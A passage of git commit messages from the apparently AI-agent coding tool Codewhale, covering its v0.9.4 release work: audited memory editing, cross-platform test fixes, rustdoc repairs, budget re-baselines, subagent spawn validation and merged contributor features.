arguments are reported exactly, computed ones (f-strings, variables, calls,
concatenation) are recorded as undecidable rather than omitted. A manifest
that under-reports would turn "I don't know" into "nothing will happen".
Over-reporting is treated as its own failure — binding names inside
comments and strings are not calls, because a manifest listing operations
that never happen trains people to approve without reading.
The 0.9.4 section is dated and closed, so this work belongs to the next
release even though it now sits on main. v0.9.4 is therefore tagged at
6b7eb20ef — the commit its CI validated and its notes describe — not at
main's head.
Model-facing memory maintenance, the audit trail for durable state, and the
first tip that tells a user any of it is happening.
- memory gains `revise` and `retire` beside `append`, both requiring the
exact target note and the evidence for the change; append-only memory
decays as corrections stack up behind what they contradict.
- every in-place memory edit and every harness refine/remove is journalled
with before/after/evidence. Harness removal previously left no record at
all, and the entry leaves state entirely.
- the journal is excluded from indexing: it lives in the memory tree, so
`collect_markdown` was picking it up and re-injecting retired notes into
prompts under their `before:` lines.
- `memory_path` pointed at an already-native store no longer nests a second
one inside it and writes to the wrong file.
- `muse`/`muse-spark` resolved to 1.1 in the agent registry while config had
defaulted to `muse-spark-1.2`; the registry now carries 1.2 and the
contributor variant.
- `BehavioralTip::DurableStateWritten` tells the user the first time
Codewhale saves something durable, in all fifteen complete locale packs.
These land under [Unreleased], not 0.9.4 — that section is dated and closed.
v0.9.4 must therefore be tagged at 6b7eb20ef, the commit its CI validated and
its notes describe, not at main's head.
`remember` and the `harness` tool write state that persists across
sessions and shapes later prompts, and nothing ever told the user it
happened. The tip catalog covered planning, receipts, cleared input, MCP,
and hotbar — nothing about the state Codewhale keeps about you. The moment
it first saves something is the moment to say so.
Adds `BehavioralTip::DurableStateWritten` ("Saved · /memory to inspect"),
translated into all fifteen complete packs. The command stays literal and
composed in code.
Drafted by Meta muse-spark-1.2-contributor running in Codewhale exec
--auto; reviewed and verified here. The Korean particle was spaced as a
separate word (`{command} 에서`); Korean particles attach to the preceding
noun, so it is now `{command}에서`.
`memory_path` is historically a legacy single-file setting
(`$CODEWHALE_HOME/memory.md`), and the native store is derived from its
parent directory. That is right for the default and for anyone still
carrying the old value.
It is wrong for the obvious reading of the name. Pointing `memory_path`
(or `CODEWHALE_MEMORY_PATH`) at a native store produced
`…/memory/global/memory/global/MEMORY.md` — a second store nested inside
the first — so writes silently landed somewhere other than the file the
user named, and the file they named stayed stale. Found while testing the
memory work against a hand-built store.
Honour an already-native path as itself; keep deriving from the parent
otherwise. The default is unchanged.
`remember` could only append. Durable memory that only grows decays: a
corrected fact sits behind the wrong one it contradicts, both get injected
next session, and the prompt block drifts toward noise. The model could
notice a note had gone stale and had no way to act on it.
Adds `revise` and `retire` alongside the default `append`. Both name the
exact note they target and both require evidence — what in the session
justified the change. Ambiguity fails closed: a target matching zero or
several notes is an error rather than a guess, because guessing silently
rewrites the wrong durable fact.
Every in-place edit is journalled to `memory/JOURNAL.md` with before,
after, and evidence, so a retired note stays recoverable and drift is
reviewable after the fact. The same trail now covers the continual
harness, where `refine` and `remove` previously left no record at all —
removal especially, since the entry leaves state entirely.
The journal is excluded from indexing. It is Markdown in the memory tree,
so `collect_markdown` picked it up and its `before:` lines re-entered the
searchable set — putting every retired note straight back into the prompt
under a new name. An audited memory that resurrects what it retires is
worse than an unaudited one; a test now pins this.
Verified end-to-end against Meta `muse-spark-1.2-contributor`: given a
changed fact and an obsolete one, the model revised the first and retired
the second unprompted, and the journal recorded both with evidence.
Adopt plugin.json as the native manifest format, with plugin.toml
legacy-readable and auto-migrated inside Codewhale's managed plugin root.
Codewhale-specific manifest fields move under extensions["net.codewhale"];
mcp_servers moves to a sibling mcp.json because plugin.json's root is
additionalProperties: false.
Records the two hazards worth knowing before implementation: the standard's
name pattern rejects uppercase/underscores/spaces so existing names need
slugification, and migration must not rewrite manifests living under someone
else's version control.
main.rs runs the owner thread and every tokio worker at
CODEWHALE_MAIN_STACK_BYTES (16 MiB) because the engine and runtime-thread
futures are genuinely deep — 8c98bedc75 landed the worker half of that
after a debug `agent` dispatch measured a 2.25-2.5 MiB high-water mark and
died on the guard page.
`#[tokio::test]` builds its own runtime and never sees that. So the test
lanes ran the same code on ~2 MiB, and ~1 MiB on Windows: a configuration
that never ships. That is what aborted the entire Windows test binary with
STATUS_STACK_OVERFLOW in start_turn_accepts_dynamic_tools_and_environment_
id, taking ~9.7k unreported results with it and masking every other
Windows failure — the same masking 78afd8d3d4 called out when it Box::pin'd
that one frame. Box::pin fixed the frame; the environment mismatch stayed,
so the abort returned as soon as codegen moved frame sizes again.
Set RUST_MIN_STACK to the same 16 MiB on the CI test lane and on
release.yml's parity gate. std reads it for any thread spawned without an
explicit size, which covers both libtest's per-test threads and tokio's
workers, so the whole suite gets production's stack instead of the
harness default.
This is not a bigger hammer for a deep-recursion bug: 16 MiB is exactly
what the product already guarantees this code, so the tests now measure
the shipped configuration rather than a stricter one no user runs.
673296 -> 673375 (+79 lines), the cost of the test-lane fixes that unblock
the v0.9.4 ship.
The growth is a pinned sandbox backend in the underwater test fixture and
one new test covering the "(unenforced)" rendering the fixture no longer
exercises, plus the rooted-mention and native-separator fixes in
file_mention and their comments. No new packages, binaries, or
thousand-line modules; the max module and large-module count are
unchanged.
The budget's standing note asks that v0.9.4 stop treating aggregate growth
as normal and pay it back in v0.9.5. This bump is a ship blocker, not new
surface, and it is small — but it belongs on that ledger.
Unblock the v0.9.4 release train: 12 failing tests and a broken rustdoc
build, all pre-existing on main and none caused by the harvest merges.
The 12 failures were read as Windows-only. Seven are not — they fail on
any host with no OS sandbox backend, which includes the Ubuntu runner
(bubblewrap is opt-in). They looked Windows-only because the Ubuntu lane
only runs tests on workflow_dispatch, so no push ever exercised them off
macOS. That mattered for more than CI: release.yml's parity job runs the
full suite on ubuntu-latest, so tagging would have failed the release
itself, not just the CI gate.
Two of the fixes are product bugs, both Windows-only and both real:
* a rooted mention like `@/absent/guide.md` is not `is_absolute` on
Windows, so it fell through to the completion index and silently
attached an unrelated same-basename file's contents to the model's
context.
* index-resolved mention paths were joined from `/`-separated display
strings, rendering as `C:\ws\ops/f.md` in the payload and the context
inspector.
The rest are test defects where the product behavior is correct: header
layout tests that inherited the host's sandbox availability, a receipt
assertion hard-coding `/`, and a stdin test running `cat` on a host whose
shell is PowerShell.
Also unbreaks `cargo doc --workspace --no-deps` under -Dwarnings, which
had been failing on main. The Documentation job only runs on schedule and
workflow_dispatch, never on push, so it went unnoticed.
Verified locally: full codewhale-tui --all-features suite, cargo fmt
--all --check, the release parity clippy invocation, CI's exact cargo doc
command, and check-versions.sh --require-dated-release.
The remaining rustdoc failures after the previous commit. `codewhale-tui`
is a binary crate, so rustdoc documents no private items and every
intra-doc link into its internals is unresolvable by construction:
* `wire_model_for_provider_route` (config_ui.rs)
* `SharedModelClient` (rlm/bridge.rs)
* `looks_relative` (workflow/redaction.rs) — private, so
`rustdoc::private_intra_doc_links` denies it
None of these can be made to resolve without `--document-private-items`,
which is not what CI runs. They read the same as code spans, so demote
them rather than paper over the lint.
`RUSTDOCFLAGS=-Dwarnings cargo doc --workspace --no-deps` — CI's exact
command — now completes clean.
`cargo doc --workspace --no-deps` with `-Dwarnings` has been failing:
* three bare URLs in mcp_registry.rs (harvested with #5238) — rustdoc
does not linkify these, so `rustdoc::bare_urls` denies them. Wrap them
in `<...>` automatic links.
* `'<value>'` in a workflow.rs doc comment parsed as an unclosed HTML
tag. It is quoting an error string, so make it a code span.
* a redundant explicit link target in image_attach.rs, where the label
already resolves to the same destination.
The Documentation job only runs on schedule/workflow_dispatch, never on
push, so this never blocked the release lane and went unnoticed — the
weekly scheduled run is where it was failing.
`every_advertised_stdin_spelling_reaches_the_command` piped stdin to
`cat`. The dispatcher runs PowerShell or `cmd` on Windows, where `cat` is
either absent or an alias for `Get-Content` — which reads a file, not
stdin — so the test failed there for a reason unrelated to what it holds.
`echo_stdin_command()` already exists one screen up for exactly this and
is what `test_write_stdin_streams_output` uses. Use it here too. The
assertion is unchanged: every advertised spelling must reach the command.
The receipt names the path as `Path::display` writes it, which is `\`-
separated on Windows. The test hard-coded `.codewhale/fleets/fleet-c.toml`,
so `save_writes_the_file_and_receipt_names_the_path` only held on Unix.
Build the expected tail the same way the receipt does. The product is
right here — a receipt a human reads on Windows should use Windows
separators — so the assertion moves, not the rendering.
Two Windows-only defects in `resolve_mention_in_completion_index`, both
real behavior and not just test noise.
Rooted mentions fell through to the index. The guard that keeps an exact
location from being "fixed up" to a same-basename file elsewhere tested
`Path::is_absolute`, which is false for `/definitely/absent/guide.md` on
Windows — that path is rooted on the current drive but carries no drive
prefix. So a rooted miss silently attached an unrelated file from the
index. Test the root marker directly. `\` counts only on Windows, where
it is a root marker; on Unix it is an ordinary leading filename byte.
Resolved paths came back with mixed separators. Index display strings are
`/`-separated, and `root.join("ops/f.md")` keeps that slash verbatim on
Windows, so the resolved path rendered as `C:\ws\ops/f.md` — in the
payload handed to the model and in the context inspector. Rejoin the
components with the platform separator first.
Fixes on Windows: absolute_mention_miss_never_uses_index,
mention_miss_resolves_via_unique_index_basename,
context_references_reflect_index_resolution. No behavior change on Unix,
where `/` is already `is_absolute` and already the native separator.
`filesystem_scope_label` is deliberately honest about enforcement: with no
OS sandbox backend it renders "files: workspace (unenforced)" instead of
"files: workspace" (the 2026-08-04 audit). That is 12 extra columns in the
permission chip.
`test_app()` took whatever backend the host happened to have, so these
tests only held on a machine with one. They passed on macOS (seatbelt is
always available) and failed everywhere else: all of Windows, and Linux
without bubblewrap, which is opt-in. Seven tests broke — one on the exact
chip text, six on width budgets the longer chip blows:
configured_session_tokens_follow_underwater_header_width_priority
header_shows_exact_named_custom_provider
ocean_header_keeps_goal_chip_in_cramped_layouts
ocean_header_keeps_workflow_chip_in_cramped_layouts
ocean_header_names_a_paused_goal
permission_chip_reports_the_same_effective_scope_as_execution
underwater_header_keeps_session_tokens_opt_in
Header rendering is not a probe of the host's sandbox, so pin the backend
in the fixture and keep the layout assertions platform-stable. The
unenforced rendering is worth holding too, so it gets its own test rather
than being an accident of the runner.
This is the same class of breakage af874d776 fixed for the /status
safety-policy test; these were missed because the Ubuntu lane only runs
tests on workflow_dispatch, so a push never exercised them off macOS.
Harvested from PR #5229 by @vFONGv
Windows beginner guide in zh-CN (467 lines) with four screenshots under
docs/images/: a layperson-first walkthrough for installing and running
Codewhale on Windows — VC++ runtime, PATH setup, first workspace, Ask
mode defaults, and the portable-zip notes from review.
The PR was closed unmerged when its base branch was accidentally deleted
during maintainer branch cleanup; the content was never in main. This
merge lands the guide with full credit (original commits and authorship
preserved).
- source-structure budget: fold the test-fix commit's 3 executor.rs lines
(673293 -> 673296).
- docs/public-surface-facts.json: sourceCandidate toolCount 67 -> 69 to
match the regenerated web facts (MCP-discovery surface).
- web/lib/release-credits.ts + docs/CONTRIBUTORS.md: add @bistack (#5238)
and extend @SparkofSpike's v0.9.4 entries (#5242/#5240/#5234) — the
changelog/credits/contributors parity test requires exact handle parity.
- core_command_surfaces.feature: the /rlm dispatch copy changed to
'Loading that into a persistent working context...' in a50b6532b
(pre-existing on main, hidden by the cancelled CI); align the step.
CI's stable toolchain moved past local 1.97: private_interfaces now denies
the 13 tui::ui seam types (DispatchRecovery, UserDispatchPrepare,
TerminalInputPump, ProviderKeyVerifier, etc.) that the ui split's
pub(crate) fns legitimately expose, failing Lint, Test (macos/windows),
Mobile runtime smoke, and npm wrapper smoke. Make the types pub(crate) —
they were already crate-visible in practice via those signatures — and fix
the one clippy 'matching on Some with ok() is redundant' in effort.rs.
Also regenerate web/lib/facts.generated.ts: the harvested MCP-discovery
work raised the public tool surface 67 -> 69.
- tool_category_classifies_the_names_the_registry_actually_registers:
load_skill became default-active with the progressive-disclosure kernel
(#5077); pin it as "other" (read-only catalogue loader).
- contributor_onboarding_ships_at_generation_8_and_keeps_its_refusals:
the current catalog generation is 10 (mcp-discovery, #5238).
Harvested from PR #5238 by @bistack
MCP Registry discovery with Registry-first tool selection: registry_sync
surfaces the eligible local stdio catalog as a complete model-side
candidate set, connect-failure messages classify early-exit/help output
and point recovery at the next Registry candidate, and the bundled
mcp-discovery skill documents the flow.
Conflict resolutions (keep BOTH features where #5077 overlaps):
- engine/tests.rs: import union — the PR's merge_new_runtime_mcp_tools
alongside main's workspace_write_carve_out_applies.
- engine/context.rs: stacked both compaction guards — main's
evidence_available pass-through and the PR's registry_sync intact-set
preservation.
- skills/system.rs: kept main's external tests file; the PR's only new
inline tests were the uninstall pair already dropped with #5077 (main's
dead-code audit removed uninstall_system_skills).
- tools/runtime_mcp.rs: kept both new free functions — main's
reject_shell_metacharacters guard and the PR's connect_failure_message.
- budgets: source-structure raised for the new 1283-line mcp_registry.rs
(175 large modules, 673293 aggregate lines); runtime-contract re-measured
exactly at budget (registry tools sit outside the no-mcp default surface
the fixture profiles).
Harvested from PR #5077 by @Hmbown
Progressive fresh-context disclosure: the constitution ships as a minimal
kernel (Ground truth / User intent and scope / Truthful completion / Put
guarantees in mechanism / Whose word wins) with procedural playbooks
disclosed on demand; project context pack is opt-in
(project_context_pack_enabled) and counted in context reports;
load_skill gains name="list" catalogue discovery.
Conflict resolutions:
- prompts/text.rs: took the PR's kernel rewrite (its mechanism and tests
key on the new section names); main's Playful overlay / legacy-prompt
removals kept.
- prompts.rs: two main-side tests pinned the superseded 'Verify before you
claim' text; updated to pin the kernel's Truthful completion contract.
- tools/skill.rs: PR's name="list" discovery wording + main's current
File action tool naming.
- skills/mod.rs: PR's USAGE trailer + hard prompt-budget assert.
- skills/system.rs: kept main's external tests file; transplanted the PR's
procedural_skill_homes_remain_bundled_and_lazy test. Dropped the PR's two
uninstall tests — main's dead-code audit (849010b03) deliberately removed
uninstall_system_skills.
- context_report.rs: env block lives once in base_source_entries (AlwaysOn,
PR's design); main's native_prompt_block memory path kept; the PR's
moraine_fallback test dropped (field removed from main); both project-pack
tests kept.
- tui/ui.rs: PR's apply_workspace_runtime_state line transplanted into
ui/apply.rs (function moved by the ui split).
- budgets: runtime-contract regenerated from measurement (28 metrics
shrank ~40%, 5 grew, 17 identity changes — all from the feature); source
aggregate folded +76 lines to 671740.
Separate delegated-agent persistence and coordination state from the execution workspace while retaining the legacy default. Keep child cwd and file authority unchanged, and cover isolated ledgers, transcripts, locks, and resume reads.
Refs Hmbown/CodeWhale#4416 (partial).
Signed-off-by: liuyang <3078108050@qq.com>
Harvested from PR #5234 by @SparkofSpike
The #5223 fix (keep alternate-scroll DECSET 1007 off while mouse capture
is active) already landed on main via a50b6532b (ui split — 0.9.4 final
bundle): ui/terminal.rs recover_terminal_modes() carries the same logic
and comments, and ui/tests.rs / external_editor.rs carry the same
assertions. The 1104-line conflict block was the PR's pre-split copy of
provider-picker/toast code that now lives in ui/apply.rs, ui/terminal.rs
and ui/motion.rs; resolving to main's side yields a tree identical to
pre-merge main. This merge records the ancestry and credit.
Harvested from PR #5240 by @SparkofSpike
shell tool: surface real wait elapsed time in tool content instead of the
requested timeout.
Conflict resolution: kept main's one-way source-structure ratchet values
(174 large modules, 17596 max module lines) and folded the merged lanes'
+389 production lines into the aggregate ceiling (671275 -> 671664,
measured via scripts/check-source-structure-budget.py).
Harvested from PR #5242 by @SparkofSpike
subagent checkpoint-resume: agents/followup resumes interrupted_continuable
children from their checkpoint into a fresh agent loop (new agent id,
original prompt plus prior conversation tail) when a runtime is attached;
queue-only semantics with continuation_handle otherwise.
Conflict resolution: kept both main's until="all" fan-out join tests and
the PR's resume-from-checkpoint tests; updated the followup-description
guard test to pin the now-implemented resume contract.
- bump docs/public-surface-facts.json toolCount to 67 to match
web/lib/facts.generated.ts after harness/continual tool addition
(fixes Web Frontend Lint & Type Check: expected 66 to be 67)
- README: remove codewhale account login / account auth paragraph
until hosted account is actually available; keep simple auth flow
Contributor tier is a distinct Meta wire model, not an alias to the
standard tier — stop collapsing it in effective_muse_wire_id so the
API actually receives muse-spark-1.2-contributor. Pricing/display
already treated it as distinct; wire now matches.
Bump web facts toolCount 66 -> 67 (harness tool).
Mirror the existing muse-spark-1.1 entry for 1.2 across the meta provider
catalog (models_dev.bundled.json), the TUI catalog, and the models.rs
fallbacks + regression test. Specs per Artificial Analysis: 1M context,
$1.25/$4.25 per 1M tokens, reasoning (effort tiers incl. xhigh), text+image
input. muse-spark-1.2 is the new family default; 1.1 stays available.
NOTE: max_output (32k) is carried from 1.1 (AA doesn't publish it) and the
catalog carries pdf/video input from 1.1 though AA lists text+image — correct
both if 1.2's real limits/modalities differ. Add cache-hit pricing ($0.15/1M)
if the catalog grows a cache-price field.
launch_onboarding_decision suppressed onboarding whenever
xai_oauth_needs_reauth was true, which would wrongly skip first-run
onboarding for a not-yet-onboarded user whose xAI OAuth credential is
missing. Gate the suppression on was_onboarded so first-run setup still
runs; the missing-key-recovery case (the actual #5032 symptom) is
onboarded-only anyway. Added a regression test for the first-run case.
The first #5032 pass only repaired the dangling oauth_credential_generation
pointer, but needs_api_key stayed true (there is still no credential), so
initial_onboarding_state -> Provider and onboarding_missing_key_recovery kept
reopening the generic provider picker on EVERY launch. The user already chose
xAI; they need to re-authenticate it, not re-pick a provider.
Broaden the gate to xai_oauth_needs_reauth (any missing xAI-OAuth credential,
not only a dangling pointer) and suppress BOTH onboarding=Provider and
missing-key-recovery for that case, surfacing a truthful re-auth message
instead. Extracted into a unit-tested launch_onboarding_decision helper.
The v0.9.4 must-fix items (composer cursor/wrap unification, Windows
start_turn Box::pin, the #5032 dangling xAI OAuth repair + its test, the
platform-aware /status safety-policy test, the 0.9.4 checkpoint bump) grew
owned Rust by +201 lines (668406 -> 668607), tripping the one-way aggregate
ratchet. No new 1000-line modules; growth is in existing files. Re-baseline
the ceiling and record why; pay the aggregate back down in v0.9.5.
Re-ships the Fleet/operate constitution; existing users (whose setup_state
records 0.8.67) re-acknowledge it once on next launch. Point the prompts
regression test at the const so it tracks the version instead of hardcoding it.
When `[providers.xai]` selects OAuth and points `oauth_credential_generation`
at a Codewhale-owned credential file that no longer exists, `credentials_valid`
returns false and cannot fall through (a configured generation is
authoritative). So `needs_api_key` stayed true and the generic provider picker
reopened on EVERY launch — the dogfood bricked state (#5032).
Detect that specific corrupted state, best-effort clear the stale pointer from
the persisted config, and surface a truthful xAI-specific re-auth message. The
repair never blocks or aborts launch; after it the state is the normal
"needs auth", not a bricked loop. Leaves `auth_mode = "oauth"` intact.
- `owned_generation_is_dangling(config)`: detector for the missing-file state.
- `clear_dangling_xai_oauth_generation(path)`: best-effort persisted repair.
- init.rs: detect + repair in the launch path, set an xAI status message,
keep the in-memory route consistent with the repaired file.
- regression test mirroring `activation_recovers_from_a_dangling_generation_pointer`.
Verified: cargo check -p codewhale-tui; cargo test xai_oauth::tests (38 passed).
The 2026-08-04 evidence called the paste failure "pre-existing on base",
but that base was the v0.9.4 train (the rebuild candidate sat on top of
it), NOT main. The paste failure passes on main and is a regression against
the last released line. Root-caused 2026-08-05 by git bisect to ff97641b7
and fixed. Name which base; do not let "pre-existing" stand without it.
safety_summary deliberately reports "<policy> requested, not enforced" on
platforms with no OS sandbox (Windows), the honest behavior from the
2026-08-04 audit. The test asserted the enforced string, which only appears
when a sandbox backend is present, so it failed on Windows. Branch the
assertions on app.sandbox_backend.is_none() (the same signal safety_summary
uses) so the test holds on both enforced and unenforced platforms.
The monolithic async start_turn holds two full Config clones plus several
records, the Op::SendMessage, and the inlined ensure_engine_loaded
sub-future (which builds a full EngineConfig), all across ~8 sequential
.awaits. On Windows the runtime thread stack is ~1 MiB (vs ~8 MiB on
Linux/macOS), so this frame overflowed it: start_turn_accepts_dynamic_
tools_and_environment_id aborted the whole test binary (0xc00000fd
STATUS_STACK_OVERFLOW), masking other Windows failures.
Box::pin(async move { ... }).await heap-allocates the whole state machine;
behavior- and Send-preserving, protects every caller. Verified no macOS
regression (start_turn test passes).
ff97641b7 moved composer wrapping (wrap_text) from hard margin breaks to
word-boundary breaks, but cursor_row_col kept recomputing the cursor row
with the old margin model, so the two desynchronised: a long paste landed
one row short of its marker (paste_matrix_lands_in_the_composer_without_
autosubmitting, timed out at 6s) and the caret drifted behind fast typing.
Derive the cursor (row, col) from the SAME wrapped lines the renderer draws
so a desync is impossible by construction; the end-of-full-line wrap
convention falls out of wrap_text's trailing empty line.
Bisected to ff97641b7 (parent bb0be8493 good). Verified: paste test ok in
3.50s, plus cursor_basic_ascii / at_wrap_boundary / with_cjk /
cjk_at_wrap_boundary / and_wrap_consistency / composer_wrap_boundary.
Records the three cross-platform regressions blocking the release, the
credit-gate fix Hunter approved, and the verified state of everything
already landed, so the next agent does not re-derive it.
Also names the two traps that hid the regressions: a piped cargo test
reports grep's exit code rather than the suite's, and the 2026-08-04
release evidence called the macOS paste failure 'pre-existing on base'
when the base was the train rather than main.
`Test (windows-latest)` failed `codewhale-telemetry` `golden_payload_v1`
with a diff that was nothing but \r\n vs \n. The golden is pulled in with
include_str!() and compared byte for byte against
serde_json::to_string_pretty output, which always emits LF, so the
`* text=auto` default corrupted it on a Windows checkout.
This file already documents that hazard for the prompt assets; the newer
include_str!() inputs (telemetry golden, bundled catalogs and skills under
crates/*/assets, the locale packs, the workflow scripts) had never been
added. The others survived only because they are parsed or
substring-matched rather than compared exactly.
`git add --renormalize .` reports no content change: every one of these is
already stored with LF, so this only affects what Windows checks out.
Third and last conflict from the #5123 fail-closed rule. The release QA
contract `release_four_read_only_fleet_roles_launch_with_canonical_prompts`
launches worker, scout, reviewer, and verifier — it calls that set "the
four canonical read-only Fleet roles" — and the worker stopped launching
at all (`worker did not launch once: 0 != 1`).
Worker is the unnamed default role; it renders as `general` and takes its
capability from `write_authority`, not from its name, so a read-only
worker is an ordinary general-purpose child. Builder is the role that
actually claims write capability, and it is the one the #5123 transcript
shows self-BLOCKING — the worker in that same transcript ran fine.
So the check is now exactly: caller wrote `type`, that type resolves to
Builder (either spelling), and authority is read_only. Everything else —
`type=worker` + read_only, any `role` + read_only — stays legal.
Verified: release_four_read_only_fleet_roles_launch_with_canonical_prompts
passes; builder_plus_read_only_authority_fails_closed covers both the
`builder` and `implementer` spellings; new
read_only_worker_is_an_ordinary_general_child pins the canonical case;
the workflow, roster-role, and narrowing contracts still pass (8 total).
cargo fmt clean; structure ceiling folded to 668406.
The earlier re-baseline was measured before the role/type spawn fix, its
regression tests, and the env-lock line landed, so the ratchet caught
this lane's own growth: 668365 -> 668400.
Verified: scripts/check-source-structure-budget.py -> PASS.
`refresh_system_prompt_is_noop_when_unchanged` failed once in a full
`cargo test --workspace` run and passed in isolation. The composed stable
prompt reads ambient process state, and this test was the odd one out
among the 38 env-sensitive tests in the file: without `lock_test_env()` a
concurrent test mutating the environment between the two refreshes shifts
the hash, so the no-op assertion fails for reasons unrelated to the code
under test.
Not a product regression — a test-isolation defect that made the release
CI nondeterministic.
scripts/sync-changelog.sh regenerates crates/tui/CHANGELOG.md from the
root file; the refined #5123 wording had only landed in the root, which
failed the Version drift gate.
The README body already said v0.9.4 while the three eval examples still
passed --harness.version 0.9.1, which would resolve a two-release-old
runtime companion set.
The heading said 2026-08-04; the release is cut on 2026-08-05. Also
record what the spawn contract actually landed as: `type` is the
capability claim that can contradict write_authority, `role` is an
identity that may still be narrowed to read-only, and callers who wrote
`type: "implementer"` for that narrowing need `role: "implementer"`.
Verified: web tests 250/250 (they assert a dated section), and
scripts/release/generate-release-body.sh 0.9.4 renders.
The #5123 fail-closed check keyed on `agent_type_explicit`, which is set
by both `type` and `role`. That rejected every read-only spawn that names
a role, and broke four tests plus the whole read-only Workflow leaf path:
spawn rejected: builder implies write capability;
write_authority=read_only is a contradiction.
`role` and `type` are not the same claim:
- `role: "release_lead"` is a roster id. It is copied into `profile` only
as a lookup key and the member is not resolved until
`apply_spawn_profile`, so at validation time the agent type is still the
default Worker and the role says nothing about write capability.
- `role: "implementer"` is a type alias, but still an identity. A Fleet
role and its authority posture are independent — an acceptance workflow
resolves `implementer` to its saved profile while narrowing that child
to the read-only tool set, which is what `leaf_allowed_tools` enforces.
- `type: "builder"` *is* a capability claim, and pairing it with
read_only is the #5123 lie: a child labeled builder holding only recon
tools, which self-BLOCKs after burning a turn.
So the guard now keys on a new `agent_type_named` (the caller wrote
`type`), leaving `agent_type_explicit` alone for profile-conflict
resolution. The Workflow driver correspondingly stops emitting a
write-capable `type` on a read_only leaf that already carries a
role/profile — the role resolves the identity and the redundant type was
the only thing making the leaf look like a write claim.
Contract change worth naming: `type: "implementer"` + read_only now fails
where it used to parse. That spelling is an alias of `builder`, so the
older "implementers can be narrowed" contract and #5123 asserted opposite
verdicts on the same role. Narrowing is preserved through `role`; the two
tests that covered it now use `role`, with their assertions unchanged.
Verified: the 4 tests #5123 broke plus 3 new/updated ones pass
(builder_or_worker_plus_read_only_authority_fails_closed,
roster_role_plus_read_only_authority_still_spawns,
read_only_roles_reject_write_authority_but_implementers_can_be_narrowed,
declared_read_only_write_roles_derive_without_mutating_shell,
terminal_blocked_gate_fails_workflow_finalization,
stopship_acceptance_fixture_emits_role_gate_and_terminal_receipts).
cargo fmt + cargo clippy --workspace --all-targets -D warnings clean.
The one-way ownership ratchet failed the release train on the v0.9.4
Fleet work. Reviewed and re-baselined:
- aggregate owned Rust 662389 -> 668365
- three new 1000-line modules admitted: fleet/store.rs (1114, the named
Fleet store v2), tui/transcript.rs (1062, the release-quality
transcript pass), views/fleet_detail.rs (1056, the secondary
named-Fleet editor behind /fleet fleets)
Also tightened rather than left slack: seven modules have since split
below the threshold (cli/cloud.rs, client/responses.rs,
session_control_acceptance.rs, skills/system.rs, tui/footer_ui.rs,
widgets/footer.rs, widgets/header.rs) and are dropped from the
allowlist, so the count lands at 168 and the largest module at 19087.
All three new modules are recorded as v0.9.5 split candidates.
Verified: scripts/check-source-structure-budget.py -> PASS with no
"can tighten" remainder.
`nested_repo_and_symlinked_worktree_do_not_change_readiness` called
`std::os::unix::fs::symlink` unconditionally, so the tui test binary
failed to compile on windows-latest. Split it into a portable
`nested_repo_does_not_change_readiness` and a `#[cfg(unix)]`
`symlinked_worktree_does_not_change_readiness`, sharing the fixture
writer and the assertion helper so neither leg loses coverage.
Verified: cargo test -p codewhale-tui --bin codewhale-tui
config::scope_tests -> 8 passed, both legs included.
Remove never-constructed SaveSession path and unused App helpers, delete
stale ops drafts (keep active handoff), and ratchet the dead-code budget
after cargo check + budget pass (449).
Once 0.9.4 is dated, the notes are no longer a "source candidate" and the
version compare link points at the tag range. Keep the old assertions for
an Unreleased-candidate heading.
WorkState already publishes each child's checklist; keep an unsettled count
on progress meta and paint `N left` on the strip receipt when the ledger has
real remaining work. Absent or fully settled lists stay quiet so the chip
never invents noise.
Disposition for tagging: dated heading, empty Unreleased, compare links
pointed at v0.9.4, and the recovery-train notes (Fleet face, work strip,
waiting policy, website trim, #5123) folded into the release body that
generate-release-body.sh will publish. Corrected the work-bar note so it
matches settled-agent collapse rather than a permanent archive.
Shorten dense hero, proof, decides, meta, and start lede across all ten
locale dictionaries; tighten EN/ZH getting-started step bodies and thinking
trace context while preserving key and token parity.
Explicit write-capable roles plus write_authority=read_only used to parse and
then silently clamp tools (#5123). Reject the contradiction at spawn so a
labeled builder cannot launch as a recon-only child.
The Top strip already collapses completed workers into the Subagents header
and splits running vs needs-input counts; update the unit contracts so they
assert that behavior instead of the old durable-row promise.
The strip tallied only completion tokens, so a child burning context looked
nearly idle. Accumulate the same input+output total the worker budget uses.
Elapsed freeze on settle was already covered.
Completed/cancelled workers leave the strip rows and remain counted in the
Subagents header so fan-outs stop eating the transcript. Failed/interrupted
workers stay visible. Settled agents remain reachable via the Agents panel
and catalog — quiet collapse, not deletion.
Polling and sleep-as-wait stay forbidden — they never make children finish
sooner. Ending the turn with zero tool calls is no longer mandatory: the
parent may keep doing non-dependent work (reads, unrelated edits, talking
to the user) until a child's result is actually required.
The named-Fleet store and Scout harvest stay; the file-manager list/detail
surface is no longer what bare /fleet opens. Roster is the face again, with
an inline `f` / `/fleet fleets` switcher for multi-Fleet pick. Paths stay in
receipts, not primary rows.
Owner report, third occurrence: "sub agents still not showing up in the
top bar." Two independent defects, both live on the candidate — the
work-surface code is byte-identical to v094-integration, so this was never
a stale build.
1. To-dos evicted the workers. project_visible emitted the to-do rows
before the Subagents group, and the strip is a fixed-height viewport
(top_height, 2..=16) painting from row 0 — a loaded checklist spent
every available row and the whole agent group sat behind "N more". The
sub-agent group is now seated first: it is the bounded set
(max_concurrent plus capped terminal retention) and it has no summary
of its own, whereas the to-do list keeps its pinned "To-do 0/8 8 left"
receipt when its rows scroll away.
2. rail_panel = "pinned" excluded workers structurally. The Pinned arm
filtered the projection to plan steps only, so with no to-dos and no
goal the projection was empty, height() returned 0, and no strip
rendered at all — the owner's exact configuration. There is no header
chip or phase-strip fallback, so that one setting made running work
uninspectable everywhere. Pinned now carries the sub-agent group under
the same priority rule as Tasks.
The pre-existing failing test named the first defect only; the second was
uncovered by seeding the owner's verbatim rail settings into the PTY probe,
which reproduced the reported frame exactly before the fix.
Verified: cargo test -p codewhale-tui --test work_bar_subagents_pty ->
15 passed, 0 failed (was 13 passed / 1 failed at baseline). No existing
test was modified; both new cases are additions.
Investigated with agent assistance; reviewed and re-verified before commit.
Reported by a user on a terminal that converts the wheel into arrow keys:
"I can't see the content higher up — each time I scroll, it only moves the
content inside the input box." #5223 stopped CodeWhale from requesting
DECSET 1007, but it cannot stop a terminal whose own profile converts the
wheel, so the events keep arriving as Up/Down keys.
Both paths into the composer dead-ended, which is what actually stranded
the user:
- Wheel: handle_composer_mouse consumed every scroll landing in the
composer rect, but move_composer_cursor_by_wrapped_rows silently
early-returns on an empty draft, an unwrapped draft, or a caret already
at the boundary. The event was eaten and nothing moved. It now reports
whether the caret moved, and an unmoved caret falls through to the
transcript.
- Arrows: a multiline draft could never scroll the transcript, and at the
first/last logical line the key was consumed to a bare needs_redraw —
